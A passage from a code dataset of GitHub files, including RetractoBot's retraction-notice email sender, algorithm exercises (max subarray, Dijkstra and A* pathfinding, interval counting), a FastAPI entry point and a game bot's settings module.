mailbox.mbox(\"debug-last-sent-mails.mbox\")\n self.mb.clear()\n self.mb.flush()\n\n if options[\"live-run\"]:\n self.live_run = True\n logging.info(\"Live run - sending emails for real\")\n else:\n self.live_run = False\n logging.info(\"Dry run - not actually sending emails\")\n\n self.test_email = options[\"test-email\"]\n\n # Filter for the authors who we would send mail to\n authors = (\n Author.objects.filter(pairs__retractedpaper__rct_group=\"i\")\n .filter(mail_sent__isnull=True)\n .extra(select={\"auid_float\": \"auid::float\"})\n .order_by(\"auid_float\")\n ).distinct()\n if options[\"limit\"]:\n authors = authors[: int(options[\"limit\"])]\n logging.info(\"Total authors to send %d\", len(authors))\n # Could also add info about the pairs\n for author in authors:\n logging.info(\n \"Author: AUID %s\",\n author.auid,\n )\n\n self._send_for_author(author)\n\n def _send_for_author(self, author):\n \"\"\"\n Create and send mails for the author.\n \"\"\"\n\n intervention_pairs = author.pairs.filter(retractedpaper__rct_group=\"i\")\n mail_to_send = self._get_mail_to_send(author, intervention_pairs)\n # Check we have emails to send\n if not mail_to_send:\n logging.info(\" Sending no mails as none due to send\")\n return\n\n # Send the mails\n self._actually_send_mails(author, intervention_pairs, mail_to_send)\n\n def _get_mail_to_send(self, author, intervention_pairs):\n \"\"\"\n Constructs the emails to send to each author of the citing papers\n of a retracted paper. Only includes mails which haven't been\n already sent.\n \"\"\"\n\n if intervention_pairs.count() == 0:\n logging.info(\" Skipping emailing author not in any intervention pairs\")\n return\n # have we already sent to this author?\n to_emails = []\n already_sent = False\n for mail_sent in author.mail_sent.all():\n assert set(mail_sent.pairs.all()) == set(intervention_pairs)\n if mail_sent.author == author:\n already_sent = True\n if already_sent:\n logging.info(\n f\" Skipping emailing author: {','.join(to_emails)} as already sent\",\n )\n return\n # Find unique list of to email addresses we have for that author\n for author_alias in author.author_aliases.all():\n if author_alias.email_address:\n # see if the mail is valid according to anymail\n valid = True\n try:\n anymail.utils.parse_single_address(author_alias.email_address)\n except anymail.exceptions.AnymailInvalidAddress:\n logging.info(\n \" Ignoring invalid email %s\",\n author_alias.email_address,\n )\n valid = False\n\n if valid:\n if self.test_email:\n logging.warning(\n \" Changed author email %s to %s for debugging\",\n author_alias.email_address,\n self.test_email,\n )\n to_email = email.utils.formataddr(\n (author_alias.full_name(), self.test_email)\n )\n else:\n to_email = email.utils.formataddr(\n (\n author_alias.full_name(),\n author_alias.email_address,\n )\n )\n to_emails.append(to_email)\n\n # If no emails to send to, skip this author\n if len(to_emails) == 0:\n logging.info(\" Skipping emailing author as no email address present\")\n return\n\n pairs_repr = \"|\".join(\n [\n f\"{p.retractedpaper.pmid}:{p.citingpaper.scopus_id}\"\n for p in intervention_pairs\n ]\n )\n logging.info(\n f\" Preparing to email author: {','.join(to_emails)} Citing papers: {pairs_repr}\"\n )\n mail_to_send = self._generate_mail(intervention_pairs, author, to_emails)\n return mail_to_send\n\n def _generate_mail(self, pairs, author, to_emails):\n pairs = pairs.order_by(\"-citingpaper__comparisondate\")\n recentest_citing_paper = pairs.first().citingpaper\n subject, body = self._get_body_and_subject(\n pairs, recentest_citing_paper, author\n )\n body_plaintext = text_maker.handle(body).strip()\n msg = OurEmail(\n subject=subject,\n body=body_plaintext,\n from_email='\"The RetractoBot Team, University of Oxford\" ',\n to=to_emails,\n )\n msg.attach_alternative(body, \"text/html\")\n msg.track_clicks = True\n msg.recentest_citing_paper_id = recentest_citing_paper.scopus_id\n msg.pairs = pairs\n return msg\n\n # TODO: check that comparison date is not null\n def _get_body_and_subject(self, pairs, recentest_citing_paper, author):\n subject = (\n \"RetractoBot: You cited a retracted paper \"\n f\"in your {recentest_citing_paper.journalname} paper published in {recentest_citing_paper.comparisondate.year}\"\n )\n\n aliases = author.author_aliases.all()\n assert len(aliases) > 0\n\n # Introduction.\n body = \"

Dear %s,

\" % aliases[0].full_name()\n body += \"

\"\n body += \"\"\"We're writing to let you know that the following paper(s) cited a\n paper which has been retracted.\"\"\"\n body += \"

\"\n body += \"\"\n body += \"\"\n body += \"\"\n body += \"\"\n body += \"\"\n # Use order_by and distinct to preserve order\n citing_papers = list(\n pairs.order_by(\"-citingpaper__scopus_id\")\n .values_list(\"citingpaper__scopus_id\", flat=True)\n .distinct()\n )\n # Just need count so we don't need to preserve order (can use a set)\n total_papers = len(set(pairs.values_list(\"retractedpaper__pmid\", flat=True)))\n for scopus_id in citing_papers:\n citing_paper = CitingPaper.objects.get(scopus_id=scopus_id)\n body += \"\"\n body += f''\n body += \"\"\n body += \"\"\n body += \"
Citing PaperRetracted Citation
\"{citing_paper.title}\" ({citing_paper.journalname}, {citing_paper.comparisondate.year})\"\n body += \"
    \"\n for pair in pairs.filter(\n citingpaper__scopus_id=citing_paper.scopus_id\n ).order_by(\"-retractedpaper__comparisondate\"):\n retracted_paper = pair.retractedpaper\n retraction_notice = retracted_paper.get_notice()\n body += f'
  • \"{retracted_paper.title}\" ({retracted_paper.journal_iso}, {retracted_paper.comparisondate.year}), which was retracted in {retraction_notice.comparisondate.year}.
  • '\n body += \"
\"\n body += \"
\"\n # Collect information about whether the mail was useful.\n body += \"\"\"

We run the RetractoBot\n research project, which aims to reduce the propagation of flawed\n research in the biomedical literature by reducing citations of\n retracted research papers.

\n\n

Was this information useful?
\n Please click below to let us know whether you knew about the\n retraction.\n\n
Your voluntary click, below, is taken as consent for your anonymous\n response to be included in our analysis. If you have any other\n comments, please reply to this email; your voluntary reply is taken\n as consent for your comments to be used anonymously in our\n qualitative analysis of the project unless otherwise noted.\"\"\"\n\n body += \"\"\"

\"\"\"\n if total_papers > 1:\n body += \"\"\"

I\n already knew ALL of these papers were\n retracted, thanks!
\"\"\"\n body += \"\"\"or
\n I\n already knew SOME of these papers were\n retracted, thanks!
\"\"\"\n body += \"\"\"or
\n I\n didn't know ANY of these papers were\n retracted, thanks!\"\"\"\n\n else:\n body += \"\"\"

I\n already knew this paper was\n retracted, thanks!
\"\"\"\n body += \"\"\"or
\n I\n didn't know this paper was retracted,\n thanks!\"\"\"\n # Signoff.\n body += \"\"\"

Many thanks for your time.

\"\"\"\n body += \"\"\"

Yours sincerely,
The RetractoBot Team\n
(Dr Nicholas DeVito, Christine Cunningham, Seb Bacon,\n Prof Ben Goldacre)

\"\"\"\n\n body += \"\"\"

\n The Bennett Institute for Applied Data Science,\n
Nuffield Department of Primary Care Health Sciences,\n University of Oxford\n
Radcliffe Observatory Quarter, Woodstock Road, Oxford,\n OX2 6GG

\"\"\"\n\n body += \"\"\"
\"\"\"\n\n body += \"\"\"

In accordance with the European Union General Data\n Protection Regulation 2016 we would like to inform you of the following\n information. We are using publicly accessible bibliographic information\n from the PubMed and Scopus databases. We are processing only your name\n and email address associated with your Scopus Author ID, which we\n obtained from Scopus only to send you this message. If you would\n like to stop receiving emails from RetractoBot at this email address,\n choose the 'unsubscribe' link below. If you would like to correct your\n data on PubMed or Scopus, please contact those organisations\n directly.

\"\"\"\n\n return (subject, body)\n\n def _actually_send_mails(self, author, pairs, mail_to_send):\n \"\"\"\n Actually send emails, storing via MailSent objects in the\n database that have done so.\n \"\"\"\n try:\n # Double check this author hasn't already been mailed\n # Each author should have only one set of pairs\n assert MailSent.objects.filter(author=author).count() == 0\n\n # Write message to debug mailbox file\n self.mb.add(mail_to_send.message())\n self.mb.flush()\n\n # Don't do anything if a dry run\n if not self.live_run:\n logging.warning(\" Dry run, not *actually* sent\")\n return\n\n with django.db.transaction.atomic():\n # Send using Django's anymail (which for production\n # setups will go via MailGun)\n ret = mail_to_send.send()\n # For any errors we should get an exception, so\n # one mail should always be sent.\n assert ret == 1\n\n # Record it was sent in the database\n (mail_sent, created) = MailSent.objects.get_or_create(author=author)\n assert created\n mail_sent.message_id = (\n str(mail_to_send.anymail_status.message_id)\n .replace(\"<\", \"\")\n .replace(\">\", \"\")\n )\n mail_sent.to = \",\".join(mail_to_send.to)\n mail_sent.recentest_citing_paper_id = str(\n mail_to_send.recentest_citing_paper_id\n )\n mail_sent.pairs.set(pairs)\n mail_sent.save()\n logging.info(\n \" Mail sent via anymail message id %s\",\n mail_to_send.anymail_status.message_id,\n )\n except anymail.exceptions.AnymailError as e:\n logging.exception(\" Error trying to send email: %s\", str(e))\n except django.db.utils.Error as e:\n logging.exception(\" Database error while mailing: %s\", str(e))\n raise\n","repo_name":"ebmdatalab/retractobot","sub_path":"retractions/management/commands/send_retraction_emails.py","file_name":"send_retraction_emails.py","file_ext":"py","file_size_in_byte":15075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16371288223","text":"# Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n # [ 1, 2, 3] array input\n # [ 1, 2] continguous subarray \n # [ 1, 3] subarray, but not contiguous\n # 6 expected output\n # contiguous subarray sums:\n # 1, 2, 3 = 6\n # 1, 2 = 3\n # 2, 3 = 5\n \n # 1. access the length of the array\n arr_len = len(nums) # 3\n # 2. final value -- DP here: we are \"caching\" a value and updating it\n max_sum = nums[0] # 1 \n # 3. intermediate value\n temp_sum = nums[0] # 1\n \n # 4. loop, using range() here, but you can iterate in different ways\n for i in range(1, arr_len):\n num = nums[i] # 3 --> 2\n # 5. within loop, max or min: MAX below \n # 6. you'll usually have at least two of these\n # FYI: contiguous = either the number by itself is larger\n # or all the numbers before it PLUS the number are larger\n \n # 7. start resetting for the next loop\n # reset the temp_sum: will change\n # reset the max_sum: may or may not change\n \n # -- DP below: we are repeating a mathematical equation\n #. to find out answer\n # MAX 1\n # max(3, 3 + 3 = 6) --> max(2, 1 + 2 = 3)\n temp_sum = max(num, temp_sum + num) # 6 --> 3\n # MAX 2\n # max(6, 3) --> max(1, 3)\n max_sum = max(temp_sum, max_sum) # 6 --> 3\n","repo_name":"CS112-3/Dynamic-programming","sub_path":"Project/Example/Max_subArray.py","file_name":"Max_subArray.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3543003635","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nimport uvicorn\n\nfrom models.tags_models import Tag\nfrom config.db import init_db\n\nfrom routes.user_routes import user_router\nfrom routes.token_router import token_router\nfrom routes.plant_routes import plant_router\nfrom routes.admin_routes import admin_router\n\n\napp = FastAPI()\n\norigins = [\n \"http://localhost:3000\",\n \"http://localhost:8000\",\n]\n\napp.add_middleware(CORSMiddleware, \n allow_origins= origins, \n allow_credentials = True, \n allow_methods=[\"*\"], \n allow_headers=[\"*\"], )\n\n\n\n@app.get(\"/\", tags=[\"root\"])\ndef root():\n return \"Welcome to PlantUrbanus\"\n\n\napp.include_router(admin_router, prefix=\"/admin\", tags=[Tag.admin])\napp.include_router(user_router, prefix=\"/users\", tags=[Tag.users])\napp.include_router(plant_router, prefix=\"/plants\", tags=[Tag.plants])\n# app.include_router(aroid_router, prefix=\"/aroids\", tags=[Tag.aroids])\napp.include_router(token_router, tags=[\"token\"])\n\n\n@app.on_event(\"startup\")\nasync def connect():\n await init_db()\n\n\nif __name__ == \"__main__\":\n uvicorn.run(reload=True, app=\"main:app\")\n","repo_name":"cordovez/PlantUrbanus_server_v4","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13744637573","text":"# Suppose we know the process by which a string s was encoded to a string r\n# (see explanation below). The aim of the kata is to decode this string r to get back the original string s.\n#\n# Explanation of the encoding process:\n# input: a string s composed of lowercase letters from \"a\" to \"z\", and a positive integer num\n# we know there is a correspondence between abcde...uvwxyzand 0, 1, 2 ..., 23, 24, 25 : 0 <-> a, 1 <-> b ...\n# if c is a character of s whose corresponding number is x, apply to x the\n# function f: x-> f(x) = num * x % 26, then find ch the corresponding character of f(x)\n# Accumulate all these ch in a string r\n# concatenate num and r and return the result\n# For example:\n#\n# encode(\"mer\", 6015) --> \"6015ekx\"\n#\n# m --> 12, 12 * 6015 % 26 = 4, 4 --> e\n# e --> 4, 4 * 6015 % 26 = 10, 10 --> k\n# r --> 17, 17 * 6015 % 26 = 23, 23 --> x\n#\n# So we get \"ekx\", hence the output is \"6015ekx\"\n# Task\n# A string s was encoded to string r by the above process. complete the function to get back s whenever it is possible.\n#\n# Indeed it can happen that the decoding is impossible for strings composed\n# of whatever letters from \"a\" to \"z\" when positive integer num has not been correctly chosen.\n# In that case return \"Impossible to decode\".\n#\n# Examples\n# decode \"6015ekx\" -> \"mer\"\n# decode \"5057aan\" -> \"Impossible to decode\"\n# FUNDAMENTALS\n# Soluiton\nfrom string import ascii_lowercase as aLow\ndef decode(r):\n i = next(i for i, c in enumerate(r) if c.isalpha())\n n, r = int(r[:i]), r[i:]\n maps = {chr(97 + n * k % 26): v for k, v in enumerate(aLow)}\n return \"Impossible to decode\" if len(maps) != 26 else ''.join(maps[c] for c in r)","repo_name":"kaluginpeter/Algorithms_and_structures_tasks","sub_path":"Python_Solutions/CodeWars/6kyu/Reversing_a_Process.py","file_name":"Reversing_a_Process.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70487149362","text":"from tkinter import *\r\nimport numpy as np\r\nfrom queue import PriorityQueue\r\n\r\nG = {}\r\nMOVE_COST = 10\r\nMOVE_COST_DIAG = 14\r\n\r\nclass MyCanvas(Canvas):\r\n def __init__(self, master, shape):\r\n self.cwidth = 40\r\n self.shape = shape\r\n Canvas.__init__(self, master, width=shape[0]*self.cwidth, height=shape[1]*self.cwidth)\r\n self.pack()\r\n self.bind(\"\", self.on_mclick)\r\n self.bind(\"\", self.on_mclick)\r\n self.bind(\"\", self.on_mclick)\r\n self.tiles = {}\r\n self.labels = {}\r\n for y in range(0, self.shape[1]):\r\n for x in range(0, self.shape[0]):\r\n x_, y_ = x*self.cwidth, y*self.cwidth\r\n tile = self.create_rectangle(x_+1, y_+1, x_+self.cwidth, y_+self.cwidth, \\\r\n fill='white', outline='')\r\n self.tiles[(x, y)] = tile\r\n label = self.create_text((x_+self.cwidth//2, y_+self.cwidth//2), \\\r\n fill='black', text=G['grid'].nodes[(x, y)], font='Arial 8')\r\n self.labels[(x, y)] = label\r\n for node in G['grid'].walls:\r\n self.itemconfig(self.tiles[node], fill = 'gray')\r\n\r\n def on_mclick(self, event):\r\n start, goal = G['pathf'].start, G['pathf'].goal\r\n G['pathf'].reset()\r\n self.reset()\r\n x, y = event.x//self.cwidth, event.y//self.cwidth\r\n if event.num == 1:\r\n G['pathf'].set_start((x, y))\r\n if goal:\r\n G['pathf'].set_goal(goal)\r\n update()\r\n elif event.num == 3:\r\n G['pathf'].set_goal((x, y))\r\n if start:\r\n G['pathf'].set_start(start)\r\n update()\r\n elif event.num == 2:\r\n if (x, y) in G['grid'].walls:\r\n G['grid'].walls.remove((x, y))\r\n else:\r\n G['grid'].walls.append((x, y))\r\n self.reset()\r\n\r\n def reset(self):\r\n for y in range(0, self.shape[1]):\r\n for x in range(0, self.shape[0]):\r\n self.itemconfig(self.tiles[(x, y)], fill = 'white')\r\n self.itemconfig(self.labels[(x, y)], text = G['grid'].nodes[(x, y)])\r\n for node in G['grid'].walls:\r\n self.itemconfig(self.tiles[node], fill = 'gray')\r\n\r\nclass Grid:\r\n def __init__(self, x, y):\r\n np.random.seed()\r\n self.nodes = np.random.randint(200, size=(x, y))\r\n self.walls = []\r\n ## create walls\r\n for i in range(10):\r\n self.walls.append((i, 4))\r\n for i in range(4, 21):\r\n self.walls.append((9, i))\r\n\r\n def neighbors(self, node):\r\n res = [(node[0]+x, node[1]+y) for x in range(-1, 2) for y in range(-1,2) \\\r\n if (node[0]+x >= 0) and (node[0]+x < self.nodes.shape[0]) \\\r\n and (node[1]+y >= 0) and (node[1]+y < self.nodes.shape[1]) \\\r\n and (x != 0 or y != 0)]\r\n res = [node for node in res if node not in self.walls]\r\n return res\r\n\r\n def cost(self, node_from, node_to):\r\n move_cost = 0\r\n if node_from[0] == node_to[0] or node_from[1] == node_to[1]:\r\n move_cost = MOVE_COST\r\n else:\r\n move_cost = MOVE_COST_DIAG\r\n return move_cost+self.nodes[node_to]\r\n\r\nclass Pathfinder:\r\n def __init__(self):\r\n self.reset()\r\n \r\n def reset(self):\r\n self.start = None\r\n self.goal = None\r\n self.frontier = PriorityQueue()\r\n self.came_from = {}\r\n self.cost_so_far = {}\r\n self.explored = {}\r\n self.done = False\r\n\r\n def set_start(self, node):\r\n self.start = node\r\n self.frontier.put((0, node))\r\n self.came_from[node] = None\r\n self.cost_so_far[node] = 0\r\n G['c'].itemconfig(G['c'].tiles[node], fill='#ef7373')\r\n\r\n def set_goal(self, node):\r\n self.goal = node\r\n G['c'].itemconfig(G['c'].tiles[node], fill='#785bef')\r\n\r\n def expand(self):\r\n while True: # pop queue until unexplored node\r\n if self.frontier.empty(): return # there is no path\r\n current = self.frontier.get()[1]\r\n if current not in self.explored.keys(): break\r\n if current == self.goal: self.get_path(); return # path found\r\n self.explored[current] = True # mark node as explored\r\n for next_node in G['grid'].neighbors(current):\r\n if next_node in self.explored.keys(): continue # skip all explored nodes\r\n new_cost = self.cost_so_far[current] + G['grid'].cost(current, next_node)\r\n if next_node not in self.cost_so_far or new_cost < self.cost_so_far[next_node]:\r\n self.cost_so_far[next_node] = new_cost\r\n priority = new_cost\r\n self.frontier.put((priority, next_node))\r\n self.came_from[next_node] = current\r\n ## update label\r\n text = '{}\\n{}'.format(int(G['grid'].nodes[next_node]), int(self.cost_so_far[next_node]))\r\n G['c'].itemconfig(G['c'].labels[next_node], text=text)\r\n ## coloring pass\r\n for x in range(G['grid'].nodes.shape[0]):\r\n for y in range(G['grid'].nodes.shape[1]):\r\n if (x, y) == self.start or (x, y) == self.goal: pass\r\n elif (x, y) in [item[1] for item in self.frontier.queue]:\r\n G['c'].itemconfig(G['c'].tiles[(x, y)], fill='#62aac9')\r\n elif (x, y) in self.cost_so_far.keys():\r\n G['c'].itemconfig(G['c'].tiles[(x, y)], fill='#bee2c8')\r\n\r\n def get_path(self):\r\n current = self.goal\r\n path = []\r\n while current != self.start:\r\n path.append(current)\r\n current = self.came_from[current]\r\n path.reverse()\r\n ## coloring pass\r\n for node in path[:-1]:\r\n G['c'].itemconfig(G['c'].tiles[node], fill='#82ef5b')\r\n self.done = True\r\n\r\ndef update():\r\n if not G['pathf'].done:\r\n G['pathf'].expand()\r\n root.after(10, update)\r\n\r\ndef main():\r\n global root\r\n root = Tk()\r\n root.title('Dijkstra search')\r\n root.resizable(0, 0)\r\n\r\n G['grid'] = Grid(30, 30)\r\n G['pathf'] = Pathfinder()\r\n G['c'] = MyCanvas(root, G['grid'].nodes.shape)\r\n\r\n mainloop()\r\n\r\nif __name__ == '__main__': main()\r\n","repo_name":"alexbaryzhikov/codebase-archive","sub_path":"Python/path_algorithms/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72481232883","text":"\"\"\"\nA list of user-defined settings that can be changed by routines. Also contains a collection\nof validator functions that can be used to enforce parameter types.\n\"\"\"\n\n\n#################################\n# Validator Functions #\n#################################\n\ndef validate_nonnegative_int(value):\n \"\"\"\n Checks whether VALUE can be a valid non-negative integer.\n :param value: The string to check.\n :return: VALUE as an integer.\n \"\"\"\n\n if int(value) >= 1:\n return int(value)\n raise ValueError(f\"'{value}' is not a valid non-negative integer.\")\n\n\ndef validate_boolean(value):\n \"\"\"\n Checks whether VALUE is a valid Python boolean.\n :param value: The string to check.\n :return: VALUE as a boolean\n \"\"\"\n\n value = value.lower()\n if value in {'true', 'false'}:\n return True if value == 'true' else False\n elif int(value) in {0, 1}:\n return bool(int(value))\n raise ValueError(f\"'{value}' is not a valid boolean.\")\n\n\ndef validate_arrows(key):\n \"\"\"\n Checks whether string KEY is an arrow key.\n :param key: The key to check.\n :return: KEY in lowercase if it is a valid arrow key.\n \"\"\"\n\n if isinstance(key, str):\n key = key.lower()\n if key in ['','up', 'down', 'left', 'right', \\\n 'up+left','up+right','down+left','down+right',\n 'left+up','right+up','left+down','right+down'\n ]:\n return key\n raise ValueError(f\"'{key}' is not a valid arrow key.\")\n\n\ndef validate_horizontal_arrows(key):\n \"\"\"\n Checks whether string KEY is either a left or right arrow key.\n :param key: The key to check.\n :return: KEY in lowercase if it is a valid horizontal arrow key.\n \"\"\"\n\n if isinstance(key, str):\n key = key.lower()\n if key in ['left', 'right','']:\n return key\n raise ValueError(f\"'{key}' is not a valid horizontal arrow key.\")\n\n\n#########################\n# Settings #\n#########################\n# A dictionary that maps each setting to its validator function\nSETTING_VALIDATORS = {\n 'id': str,\n 'full_screen':validate_boolean,\n 'move_tolerance': float,\n 'adjust_tolerance': float,\n 'record_layout': validate_boolean,\n 'buff_cooldown': validate_nonnegative_int,\n 'platforms':str,\n 'rent_frenzy':validate_boolean,\n 'driver_key':validate_boolean,\n 'auto_change_channel':validate_boolean,\n 'partner' :str,\n 'main_attack_skill_key' :str,\n 'frenzy_key' :str,\n 'home_scroll_key' :str,\n 'rune_cd_min' : validate_nonnegative_int,\n 'cd_value': str,\n 'story_mode' : validate_boolean,\n 'auto_revive' : validate_boolean,\n}\n\n\ndef reset():\n \"\"\"Resets all settings to their default values.\"\"\"\n\n global id, move_tolerance, adjust_tolerance, record_layout, buff_cooldown, rent_frenzy, platforms, driver_key\n global partner, main_attack_skill_key, frenzy_key, home_scroll_key\n id = \"\"\n move_tolerance = 9\n adjust_tolerance = 2\n record_layout = False\n buff_cooldown = 180\n platforms = \"\"\n partner = ''\n main_attack_skill_key = ''\n frenzy_key = ''\n home_scroll_key = ''\n rune_cd_min = 15\n cd_value = ''\n story_mode = False\n auto_revive = False\n # rent_frenzy = False\n # driver_key = False\n \n\n\n# The allowed error from the destination when moving towards a Point\nmove_tolerance = 9\n\n# The allowed error from a specific location while adjusting to that location\nadjust_tolerance = 2\n\n# Whether the bot should save new player positions to the current layout\nrecord_layout = False\n\n# The amount of time (in seconds) to wait between each call to the 'buff' command\nbuff_cooldown = 180\n\nplatforms = \"\"\n\nrent_frenzy = False\n\nfull_screen = False\n\ndriver_key = False\n\n# user id\nid = \"\"\n\nauto_change_channel = False\n\nstory_mode = False\n\nauto_revive = False\n\nrune_cd_min = 15\n\n#partner id\npartner = ''\nmain_attack_skill_key = ''\nfrenzy_key = ''\nhome_scroll_key = ''\ncd_value = ''\n\nreset()\n","repo_name":"yuzhupeng/python_plugin","sub_path":"pythonnew/sean820117auto-maple/src/common/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"22033504189","text":"'''\n문제\n정수 집합 S가 주어졌을때, 다음 조건을 만족하는 구간 [A, B]를 좋은 구간이라고 한다.\n\n- A와 B는 양의 정수이고, A < B를 만족한다.\n- A ≤ x ≤ B를 만족하는 모든 정수 x가 집합 S에 속하지 않는다.\n\n집합 S와 n이 주어졌을 때, n을 포함하는 좋은 구간의 개수를 구해보자.\n\n입력\n첫째 줄에 집합 S의 크기 L이 주어진다. 둘째 줄에는 집합에 포함된 정수가 주어진다. 셋째 줄에는 n이 주어진다.\n\n출력\n첫째 줄에 n을 포함하는 좋은 구간의 개수를 출력한다.\n\n제한\n1 ≤ L ≤ 50\n집합 S에는 중복되는 정수가 없다.\n집합 S에 포함된 모든 정수는 1보다 크거나 같고, 1,000보다 작거나 같다.\n1 ≤ n ≤ (집합 S에서 가장 큰 정수)\n'''\n\nfrom sys import stdin\ninput = stdin.readline\n\ndef getCombi(arr, n):\n res = []\n if n == 0:\n return [[]]\n for i in range(len(arr)-n+1):\n for combi in getCombi(arr[i+1:], n-1):\n res.append([arr[i]]+combi)\n return res\n\nL = int(input())\ns = list(map(int, input().split()))\nelm = int(input())\ns.sort()\n\nsMin = 0\nsMax = 0\n\nif L == 1 or s[0] > elm:\n sMin = 1\n sMax = s[0]-1\nelse:\n for i in range(L):\n if s[i] > elm:\n sMin = s[i-1]+1\n sMax = s[i]-1\n break\n\n# print(sMin, sMax)\narr = []\nnumGInterval = 0\nif sMin > elm or sMax-sMin < 1:\n print(0)\nelse:\n for i in range(sMin, sMax+1):\n arr.append(i)\n combi = getCombi(arr, 2)\n for item in combi:\n if item[0] <= elm and item[1] >= elm:\n numGInterval += 1\n # print(item)\n print(numGInterval)\n","repo_name":"dada-xiv/baekjoon-online-judge","sub_path":"1059.py","file_name":"1059.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9789084109","text":"\n# Got A star code from :https://medium.com/@nicholas.w.swift/easy-a-star-pathfinding-7e6689c7f7b2\nfrom genericpath import exists\nimport numpy\nimport random\n\n\nclass Node(): # Part of section 1\n \"\"\"A node class for A* Pathfinding\"\"\"\n\n def __init__(self, parent=None, position=None):\n self.parent = parent\n self.position = position\n\n self.g = 0\n self.h = 0\n self.f = 0\n\n def __eq__(self, other):\n return self.position == other.position\n\n\ndef astar(maze, start, end):\n \"\"\"Returns a list of tuples as a path from the given start to the given end in the given maze\"\"\"\n\n # Create start and end node\n start_node = Node(None, start)\n start_node.g = start_node.h = start_node.f = 0\n end_node = Node(None, end)\n end_node.g = end_node.h = end_node.f = 0\n\n # Initialize both open and closed list\n open_list = []\n closed_list = []\n\n # Add the start node\n open_list.append(start_node)\n\n # Loop until you find the end\n while len(open_list) > 0:\n\n # Get the current node\n current_node = open_list[0]\n current_index = 0\n for index, item in enumerate(open_list):\n if item.f < current_node.f:\n current_node = item\n current_index = index\n\n # Pop current off open list, add to closed list\n open_list.pop(current_index)\n closed_list.append(current_node)\n\n # Found the goal\n if current_node == end_node:\n path = []\n current = current_node\n while current is not None:\n path.append(current.position)\n current = current.parent\n return path[::-1] # Return reversed path\n\n # Generate children\n children = []\n # Adjacent squares\n for new_position in [(0, -1), (0, 1), (-1, 0), (1, 0), (-1, -1), (-1, 1), (1, -1), (1, 1)]:\n\n # Get node position\n node_position = (\n current_node.position[0] + new_position[0], current_node.position[1] + new_position[1])\n\n # Make sure within range\n if node_position[0] > (len(maze) - 1) or node_position[0] < 0 or node_position[1] > (len(maze[len(maze)-1]) - 1) or node_position[1] < 0:\n continue\n\n # Make sure walkable terrain\n if maze[node_position[0]][node_position[1]] != 0:\n continue\n\n # Create new node\n new_node = Node(current_node, node_position)\n\n # Append\n children.append(new_node)\n\n # Loop through children\n for child in children:\n\n # Child is on the closed list\n for closed_child in closed_list:\n if child == closed_child:\n continue\n\n # Create the f, g, and h values\n child.g = current_node.g + 1\n child.h = ((child.position[0] - end_node.position[0]) **\n 2) + ((child.position[1] - end_node.position[1]) ** 2)\n child.f = child.g + child.h\n\n # Child is already in the open list\n for open_node in open_list:\n if child == open_node and child.g > open_node.g:\n continue\n\n # Add the child to the open list\n open_list.append(child)\n\n\ndef main():\n\n maze = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 1, 1, 1],\n [0, 0, 0, 0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]\n\n start = (0, 0)\n end = (9, 9)\n\n path = astar(maze, start, end)\n print(path)\n\n def randomObs(maze, start, end, nn): # Part of Section 2\n # This function generates a random points of obstacles in the map that is feed in\n numofrando = nn\n maze_array = numpy.array(maze)\n maze_shape = maze_array.shape\n rando_list = []\n # Find existing obstacles\n exists_cood = []\n result = numpy.where(maze_array == 1)\n listOfCoordinates = list(zip(result[0], result[1]))\n for cord in listOfCoordinates:\n exists_cood.append(cord)\n\n while nn > 0:\n\n x = maze_shape[0]\n y = maze_shape[1]\n\n x_random = random.randint(0, x-1)\n y_random = random.randint(0, y-1)\n random_cood = (x_random, y_random)\n # print(random_cood)\n\n if random_cood == start:\n pass\n elif random_cood == end:\n pass\n else:\n # print([True for x1 in rando_list if x1 == random_cood])\n\n val = [True for x1 in rando_list if x1 == random_cood]\n val2 = [True for x1 in rando_list if x1 == exists_cood]\n\n if val != [True] and val2 != [True]:\n rando_list.append(random_cood)\n nn = nn-1\n # print(rando_list, len(rando_list))\n\n # print(numofrando - len(rando_list))\n # if numofrando - len(rando_list) != 0:\n # print(\"not eno\")\n\n for i in rando_list:\n maze[i[0]][i[1]] = 1\n\n return maze\n\n inf = float('inf')\n\n new_maze = randomObs(maze, start, end, 20)\n print('\\n'.join([''.join(['{:4}'.format(item) for item in row])\n for row in new_maze]))\n # print(new_maze)\n\n path = astar(new_maze, start, end)\n print(path)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"AliAsgharWork/BN-Tech2022","sub_path":"AStar_solution.py","file_name":"AStar_solution.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3952211894","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nimport seaborn as sns\nfrom os.path import exists, dirname\nimport os, sys\nfrom scipy.stats import linregress\nfrom matplotlib.offsetbox import 